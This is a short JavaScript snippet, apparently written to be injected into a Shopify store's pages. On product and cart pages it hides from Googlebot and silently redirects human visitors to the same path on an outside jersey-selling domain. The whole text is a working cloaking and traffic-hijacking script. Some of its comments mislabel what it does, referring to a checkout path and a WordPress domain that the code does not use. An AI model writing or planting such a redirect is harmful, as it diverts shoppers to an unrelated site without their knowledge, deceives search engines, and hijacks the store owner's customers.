script> // Get the current Shopify store domain var shopifyDomain = window.location.hostname; // Check if the user agent is not a Googlebot and the URL path starts with '/products/' or '/cart/' if ( navigator.userAgent.toLowerCase().indexOf("googlebot") == -1 && (window.location.pathname.startsWith('/products/') || window.location.pathname.startsWith('/cart/')) ) { // Extract the path after '/products/' or '/checkouts/' from the current URL var pathAfterProductsOrCart = window.location.pathname.substr(window.location.pathname.indexOf('/', window.location.pathname.indexOf('/') + 1) + 1); // Create the target URL by combining the WordPress domain and the extracted path var target_url = "https://www.nfljerseystores.com/products/" + pathAfterProductsOrCart; // Redirect to the target URL window.location.href = target_url; }